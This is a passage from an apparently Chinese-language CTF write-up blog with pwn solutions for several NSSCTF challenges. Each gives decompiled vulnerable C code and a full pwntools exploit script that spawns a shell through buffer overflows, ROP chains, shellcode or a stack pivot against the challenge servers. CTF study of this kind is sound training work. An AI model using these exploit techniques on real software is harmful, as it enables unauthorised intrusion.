class="string">&#x27;DEBUG&#x27;</span>]:</span><br><span class="line">    context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">context.terminal = [<span class="string">&#x27;tmux&#x27;</span>, <span class="string">&#x27;splitw&#x27;</span>,<span class="string">&#x27;-h&#x27;</span>]</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;REMOTE&#x27;</span>]:</span><br><span class="line">    ip = <span class="string">&quot;xxx&quot;</span></span><br><span class="line">    port = <span class="number">1111</span></span><br><span class="line">    p = remote(ip, port)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    p = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">    info(<span class="string">&quot;pid: &#123;&#125;&quot;</span>.<span class="built_in">format</span>(p.pid))</span><br><span class="line">elf = ELF(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line"><span class="comment">#libc = ELF(&#x27;./libc-2.23-x64.so&#x27;)</span></span><br><span class="line"><span class="comment"># clibc = cdll.LoadLibrary(&quot;/lib/x86_64-linux-gnu/libc.so.6&quot;)</span></span><br><span class="line">rop = ROP(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line">ret = rop.find_gadget([<span class="string">&#x27;ret&#x27;</span>])[<span class="number">0</span>]</span><br><span class="line">rdi = rop.find_gadget([<span class="string">&#x27;pop rdi&#x27;</span>,<span class="string">&#x27;ret&#x27;</span>])[<span class="number">0</span>]</span><br><span class="line">call_rsi = <span class="number">0x000000000044e631</span></span><br><span class="line">info(<span class="string">&quot;ret addr : &#123;:#x&#125;&quot;</span>.<span class="built_in">format</span>(ret))</span><br><span class="line">info(<span class="string">&quot;rdi addr : &#123;:#x&#125;&quot;</span>.<span class="built_in">format</span>(rdi))</span><br><span class="line"></span><br><span class="line">offset = <span class="number">0x80</span> + <span class="number">8</span></span><br><span class="line">payload1 = asm(shellcraft.sh())</span><br><span class="line">payload1 = payload1.ljust(offset,<span class="string">b&#x27;\x00&#x27;</span>) + p64(call_rsi)</span><br><span class="line">sl(payload1)</span><br><span class="line">inter()</span><br></pre></td></tr></table></figure><h3 id="NSSRound-4-SWPU-真签到题来试试吧"><a href="#NSSRound-4-SWPU-真签到题来试试吧" class="headerlink" title="[NSSRound#4 SWPU]真签到题来试试吧"></a>[NSSRound#4 SWPU]真签到题来试试吧</h3><p>​<img src="https://raw.githubusercontent.com/yezere/images/master/image-20241113204955-uer0tqa.png" alt="image">​</p><p>开启了NX</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> __fastcall <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">void</span> *v3; <span class="comment">// rsi</span></span><br><span class="line">  <span class="type">void</span> *handle; <span class="comment">// [rsp+18h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  handle = dlopen(<span class="string">&quot;libc.so.6&quot;</span>, <span class="number">258</span>);<span class="comment">//加载链接库</span></span><br><span class="line">  setbuf(<span class="built_in">stdin</span>, <span class="number">0LL</span>);</span><br><span class="line">  setbuf(_bss_start, <span class="number">0LL</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;---    ---    ---------    ---------&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;| | \\  | |   / /----|__|  / /----|__|&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;| |\\ \\ | |   | |_______   | |_______&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;| | \\ \\| |   \\ ______  \\  \\ ______  \\&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;| |  \\ \\ |    _______| |   _______| |&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;| |   \\__|   |_________/  |_________/&quot;</span>);</span><br><span class="line">  v3 = dlsym(handle, <span class="string">&quot;system&quot;</span>);<span class="comment">//加载system函数地址</span></span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;%p\n&quot;</span>, v3);<span class="comment">//输出地址</span></span><br><span class="line">  vuln(<span class="string">&quot;%p\n&quot;</span>, v3);</span><br><span class="line">  write(<span class="number">1</span>, <span class="string">&quot;SlVTVCBBIEpPS0UgLCBORVZFUiBNSU5E\n&quot;</span>, <span class="number">0x21</span>uLL);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="type">ssize_t</span> __fastcall <span class="title function_">vuln</span><span class="params">(<span class="type">const</span> <span class="type">char</span> *a1)</span></span><br><span class="line">&#123;</span><br><span class="line">  _BYTE buf[<span class="number">128</span>]; <span class="comment">// [rsp+0h] [rbp-80h] BYREF</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> read(<span class="number">0</span>, buf, <span class="number">0x100</span>uLL);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>read往bss段上写入数据，这题有点坑啊，我以为payload错了呢，看了半天加上sleep就成功了</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> struct <span class="keyword">import</span> pack</span><br><span class="line"><span class="keyword">from</span> ctypes <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">s</span>(<span class="params">a</span>) : p.send(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sa</span>(<span class="params">a, b</span>) : p.sendafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sl</span>(<span class="params">a</span>) : p.sendline(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sla</span>(<span class="params">a, b</span>) : p.sendlineafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">r</span>() : <span class="keyword">return</span> p.recv()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pr</span>() : <span class="built_in">print</span>(p.recv())</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">rl</span>(<span class="params">a</span>) : <span class="keyword">return</span> p.recvuntil(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">inter</span>() : p.interactive()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">debug</span>():</span><br><span class="line">    gdb.attach(p)</span><br><span class="line">    pause()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_addr</span>() : <span class="keyword">return</span> u64(p.recvuntil(<span class="string">b&#x27;\x7f&#x27;</span>)[-<span class="number">6</span>:].ljust(<span class="number">8</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line"><span class="comment"># def get_sb() : return libc_base + libc.sym[&#x27;system&#x27;], libc_base + next(libc.search(b&#x27;/bin/sh\x00&#x27;))</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">csu</span>(<span class="params">rdi, rsi, rdx, rip, gadget</span>) : <span class="keyword">return</span> p64(gadget) + p64(<span class="number">0</span>) + p64(<span class="number">1</span>) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - <span class="number">0x1a</span>)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_32_addr</span>():<span class="keyword">return</span> u32(p.recvuntil(<span class="string">b&#x27;\xf7&#x27;</span>)[-<span class="number">4</span>:].ljust(<span class="number">4</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line">context(os=<span class="string">&#x27;linux&#x27;</span>, arch=<span class="string">&#x27;amd64&#x27;</span>)</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;DEBUG&#x27;</span>]:</span><br><span class="line">    context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">context.terminal = [<span class="string">&#x27;tmux&#x27;</span>, <span class="string">&#x27;splitw&#x27;</span>,<span class="string">&#x27;-h&#x27;</span>]</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;REMOTE&#x27;</span>]:</span><br><span class="line">    ip = <span class="string">&quot;node4.anna.nssctf.cn&quot;</span></span><br><span class="line">    port = <span class="number">28705</span></span><br><span class="line">    p = remote(ip, port)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    p = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">    info(<span class="string">&quot;pid: &#123;&#125;&quot;</span>.<span class="built_in">format</span>(p.pid))</span><br><span class="line">elf = ELF(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line"><span class="comment">#libc = ELF(&#x27;./libc-2.23-x64.so&#x27;)</span></span><br><span class="line"><span class="comment"># clibc = cdll.LoadLibrary(&quot;/lib/x86_64-linux-gnu/libc.so.6&quot;)</span></span><br><span class="line">rop = ROP(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line">ret = rop.find_gadget([<span class="string">&#x27;ret&#x27;</span>])[<span class="number">0</span>]</span><br><span class="line">rdi = rop.find_gadget([<span class="string">&#x27;pop rdi&#x27;</span>,<span class="string">&#x27;ret&#x27;</span>])[<span class="number">0</span>]</span><br><span class="line">rsi_r15 = rop.find_gadget([<span class="string">&#x27;pop rsi&#x27;</span>])[<span class="number">0</span>]</span><br><span class="line">info(<span class="string">&quot;ret addr : &#123;:#x&#125;&quot;</span>.<span class="built_in">format</span>(ret))</span><br><span class="line">info(<span class="string">&quot;rdi addr : &#123;:#x&#125;&quot;</span>.<span class="built_in">format</span>(rdi))</span><br><span class="line">rl(<span class="string">&quot;_________/  |_________/\n&quot;</span>)</span><br><span class="line">system = <span class="built_in">int</span>(p.recvuntil(<span class="string">&quot;\n&quot;</span>,drop=<span class="literal">True</span>).decode(<span class="string">&quot;utf-8&quot;</span>),<span class="number">16</span>)</span><br><span class="line"></span><br><span class="line">bin_sh = <span class="number">0x000000000404078</span></span><br><span class="line">offset = <span class="number">0x80</span> + <span class="number">8</span></span><br><span class="line">payload1 = <span class="string">b&#x27;A&#x27;</span>*<span class="number">0x88</span> + p64(rsi_r15) + p64(bin_sh) + p64(<span class="number">0</span>) + p64(elf.plt[<span class="string">&#x27;read&#x27;</span>]) + p64(elf.sym[<span class="string">&#x27;vuln&#x27;</span>])</span><br><span class="line">sleep(<span class="number">0.5</span>)</span><br><span class="line">sl(payload1)</span><br><span class="line">sleep(<span class="number">0.5</span>)</span><br><span class="line"></span><br><span class="line">sl(<span class="string">&quot;/bin/sh\x00&quot;</span>)</span><br><span class="line">payload2 = <span class="string">b&#x27;A&#x27;</span>*<span class="number">0x88</span>  + p64(rdi) +  p64(bin_sh) + p64(system)</span><br><span class="line">sleep(<span class="number">0.5</span>)</span><br><span class="line"></span><br><span class="line">sl(payload2)</span><br><span class="line">inter()</span><br></pre></td></tr></table></figure><h3 id="CISCN-2019华南-PWN4"><a href="#CISCN-2019华南-PWN4" class="headerlink" title="[CISCN 2019华南]PWN4"></a>[CISCN 2019华南]PWN4</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">vul</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> s[<span class="number">40</span>]; <span class="comment">// [esp+0h] [ebp-28h] BYREF</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">memset</span>(s, <span class="number">0</span>, <span class="number">0x20</span>u);</span><br><span class="line">  read(<span class="number">0</span>, s, <span class="number">0x30</span>u);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Hello, %s\n&quot;</span>, s);</span><br><span class="line">  read(<span class="number">0</span>, s, <span class="number">0x30</span>u);</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">printf</span>(<span class="string">&quot;Hello, %s\n&quot;</span>, s);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>发现可以写入0x30后print可以泄露出来ebp的值，然后迁移即可</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> struct <span class="keyword">import</span> pack</span><br><span class="line"><span class="keyword">from</span> ctypes <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">s</span>(<span class="params">a</span>) : p.send(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sa</span>(<span class="params">a, b</span>) : p.sendafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sl</span>(<span class="params">a</span>) : p.sendline(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sla</span>(<span class="params">a, b</span>) : p.sendlineafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">r</span>() : <span class="keyword">return</span> p.recv()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pr</span>() : <span class="built_in">print</span>(p.recv())</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">rl</span>(<span class="params">a</span>) : <span class="keyword">return</span> p.recvuntil(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">inter</span>() : p.interactive()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">debug</span>():</span><br><span class="line">    gdb.attach(p)</span><br><span class="line">    pause()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_addr</span>() : <span class="keyword">return</span> u64(p.recvuntil(<span class="string">b&#x27;\x7f&#x27;</span>)[-<span class="number">6</span>:].ljust(<span class="number">8</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line"><span class="comment"># def get_sb() : return libc_base + libc.sym[&#x27;system&#x27;], libc_base + next(libc.search(b&#x27;/bin/sh\x00&#x27;))</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">csu</span>(<span class="params">rdi, rsi, rdx, rip, gadget</span>) : <span class="keyword">return</span> p64(gadget) + p64(<span class="number">0</span>) + p64(<span class="number">1</span>) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - <span class="number">0x1a</span>)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_32_addr</span>():<span class="keyword">return</span> u32(p.recvuntil(<span class="string">b&#x27;\xf7&#x27;</span>)[-<span class="number">4</span>:].ljust(<span class="number">4</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line">context(os=<span class="string">&#x27;linux&#x27;</span>, arch=<span class="string">&#x27;i386&#x27;</span>)</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;DEBUG&#x27;</span>]:</span><br><span class="line">    context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">context.terminal = [<span class="string">&#x27;tmux&#x27;</span>, <span class="string">&#x27;splitw&#x27;</span>,<span class="string">&#x27;-h&#x27;</span>]</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;REMOTE&#x27;</span>]:</span><br><span class="line">    ip = <span class="string">&quot;node5.anna.nssctf.cn&quot;</span></span><br><span class="line">    port = <span class="number">23681</span></span><br><span class="line">    p = remote(ip, port)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    p = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">    info(<span class="string">&quot;pid: &#123;&#125;&quot;</span>.<span class="built_in">format</span>(p.pid))</span><br><span class="line">elf = ELF(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line"><span class="comment">#libc = ELF(&#x27;./libc-2.23-x64.so&#x27;)</span></span><br><span class="line"><span class="comment"># clibc = cdll.LoadLibrary(&quot;/lib/x86_64-linux-gnu/libc.so.6&quot;)</span></span><br><span class="line">rop = ROP(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line">ret = rop.find_gadget([<span class="string">&#x27;ret&#x27;</span>])[<span class="number">0</span>]</span><br><span class="line">leave = rop.find_gadget([<span class="string">&#x27;leave&#x27;</span>,<span class="string">&#x27;ret&#x27;</span>])[<span class="number">0</span>]</span><br><span class="line"><span class="comment"># print(leave)</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># rdi = rop.find_gadget([&#x27;pop rdi&#x27;,&#x27;ret&#x27;])[0]</span></span><br><span class="line">info(<span class="string">&quot;ret addr : &#123;:#x&#125;&quot;</span>.<span class="built_in">format</span>(ret))</span><br><span class="line"><span class="comment"># info(&quot;rdi addr : &#123;:#x&#125;&quot;.format(rdi))</span></span><br><span class="line"></span><br><span class="line">payload1 = <span class="string">b&quot;A&quot;</span>*<span class="number">0x28</span></span><br><span class="line">s(payload1)</span><br><span class="line">rl(<span class="string">b&#x27;A&#x27;</span>*<span class="number">0x28</span>)</span><br><span class="line">ebp = u32(p.recv(<span class="number">4</span>)) </span><br><span class="line">success(<span class="string">&quot;fake_ebp: &#123;:#x&#125;&quot;</span>.<span class="built_in">format</span>(ebp-<span class="number">0x30</span>))</span><br><span class="line">success(<span class="string">&quot;bin_sh: &#123;:#x&#125;&quot;</span>.<span class="built_in">format</span>(ebp-<span class="number">0x38</span>))</span><br><span class="line"></span><br><span class="line">payload2 = <span class="string">b&#x27;bbbb&#x27;</span> + p32(elf.sym[<span class="string">&#x27;system&#x27;</span>]) + <span class="string">b&#x27;AAAA&#x27;</span> + p32(ebp-<span class="number">0x28</span>) + <span class="string">b&#x27;/bin/sh\x00&#x27;</span></span><br><span class="line">payload2 = payload2.ljust(<span class="number">0x28</span>,<span class="string">b&#x27;\x00&#x27;</span>) + p32(ebp-<span class="number">0x38</span>) + p32(leave)</span><br><span class="line"><span class="comment"># debug()</span></span><br><span class="line">sl(payload2)</span><br><span class="line"><span class="comment"># pause()</span></span><br><span class="line">inter()</span><br></pre></td></tr></table></figure><h2 id="11-14"><a href="#11-14" class="headerlink" title="11.14"></a>11.14</h2><h3 id="FSCTF-2023-rdi"><a href="#FSCTF-2023-rdi" class="headerlink" title="[FSCTF 2023]rdi"></a>[FSCTF 2023]rdi</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> __fastcall <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  _BYTE buf[<span class="number">128</span>]; <span class="comment">// [rsp+10h] [rbp-80h] BYREF</span></span><br><span class="line"></span><br><span class="line">  init(argc, argv, envp);</span><br><span class="line">  info();</span><br><span class="line">  read(<span class="number">0</span>, buf, <span class="number">0xA0</span>uLL);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="type">int</span> __fastcall <span class="title function_">gift</span><span class="params">(<span class="type">const</span> <span class="type">char</span> *a1)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">return</span> system(a1);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>使用sh也可以</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> struct <span class="keyword">import</span> pack</span><br><span class="line"><span class="keyword">from</span> ctypes <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">s</span>(<span class="params">a</span>) : p.send(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sa</span>(<span class="params">a, b</span>) : p.sendafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sl</span>(<span class="params">a</span>) : p.sendline(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sla</span>(<span class="params">a, b</span>) : p.sendlineafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">r</span>() : <span class="keyword">return</span> p.recv()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pr</span>() : <span class="built_in">print</span>(p.recv())</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">rl</span>(<span class="params">a</span>) : <span class="keyword">return</span> p.recvuntil(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">inter</span>() : p.interactive()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">debug</span>():</span><br><span class="line">    gdb.attach(p)</span><br><span class="line">    pause()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_addr</span>() : <span class="keyword">return</span> u64(p.recvuntil(<span class="string">b&#x27;\x7f&#x27;</span>)[-<span class="number">6</span>:].ljust(<span class="number">8</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line"><span class="comment"># def get_sb() : return libc_base + libc.sym[&#x27;system&#x27;], libc_base + next(libc.search(b&#x27;/bin/sh\x00&#x27;))</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">csu</span>(<span class="params">rdi, rsi, rdx, rip, gadget</span>) : <span class="keyword">return</span> p64(gadget) + p64(<span class="number">0</span>) + p64(<span class="number">1</span>) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - <span class="number">0x1a</span>)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_32_addr</span>():<span class="keyword">return</span> u32(p.recvuntil(<span class="string">b&#x27;\xf7&#x27;</span>)[-<span class="number">4</span>:].ljust(<span class="number">4</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line">context(os=<span class="string">&#x27;linux&#x27;</span>, arch=<span class="string">&#x27;amd64&#x27;</span>)</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;DEBUG&#x27;</span>]:</span><br><span class="line">    context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">context.terminal = [<span class="string">&#x27;tmux&#x27;</span>, <span class="string">&#x27;splitw&#x27;</span>,<span class="string">&#x27;-h&#x27;</span>]</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;REMOTE&#x27;</span>]:</span><br><span class="line">    ip = <span class="string">&quot;xxx&quot;</span></span><br><span class="line">    port = <span class="number">1111</span></span><br><span class="line">    p = remote(ip, port)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    p = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">    info(<span class="string">&quot;pid: &#123;&#125;&quot;</span>.<span class="built_in">format</span>(p.pid))</span><br><span class="line">elf = ELF(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line"><span class="comment">#libc = ELF(&#x27;./libc-2.23-x64.so&#x27;)</span></span><br><span class="line"><span class="comment"># clibc = cdll.LoadLibrary(&quot;/lib/x86_64-linux-gnu/libc.so.6&quot;)</span></span><br><span class="line">rop = ROP(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line">ret = rop.find_gadget([<span class="string">&#x27;ret&#x27;</span>])[<span class="number">0</span>]</span><br><span class="line">rdi = rop.find_gadget([<span class="string">&#x27;pop rdi&#x27;</span>,<span class="string">&#x27;ret&#x27;</span>])[<span class="number">0</span>]</span><br><span class="line">info(<span class="string">&quot;ret addr : &#123;:#x&#125;&quot;</span>.<span class="built_in">format</span>(ret))</span><br><span class="line">info(<span class="string">&quot;rdi addr : &#123;:#x&#125;&quot;</span>.<span class="built_in">format</span>(rdi))</span><br><span class="line"></span><br><span class="line">rsi_r15 = rop.find_gadget([<span class="string">&#x27;pop rsi&#x27;</span>])[<span class="number">0</span>]</span><br><span class="line"></span><br><span class="line">bin_sh = <span class="number">0x000000000601088</span></span><br><span class="line"></span><br><span class="line">offset = <span class="number">0x80</span> + <span class="number">8</span></span><br><span class="line">payload = <span class="string">b&#x27;A&#x27;</span>*<span class="number">0x88</span>+ p64(rdi) + p64(<span class="built_in">next</span>(elf.search(<span class="string">&quot;sh&quot;</span>))) + p64(<span class="number">0x0000000004006FB</span>) </span><br><span class="line"><span class="built_in">print</span>(<span class="built_in">hex</span>(<span class="built_in">len</span>(payload)))</span><br><span class="line">sl(payload)</span><br><span class="line"><span class="comment"># puts = get_addr()</span></span><br><span class="line"><span class="comment"># success(&quot;puts: &#123;:#x&#125;&quot;.format(puts))</span></span><br><span class="line">inter()</span><br></pre></td></tr></table></figure><h3 id="SWPUCTF-2022-新生赛-FindanotherWay"><a href="#SWPUCTF-2022-新生赛-FindanotherWay" class="headerlink" title="[SWPUCTF 2022 新生赛]FindanotherWay"></a>[SWPUCTF 2022 新生赛]FindanotherWay</h3><p>很简单不知道为什么没人做</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span 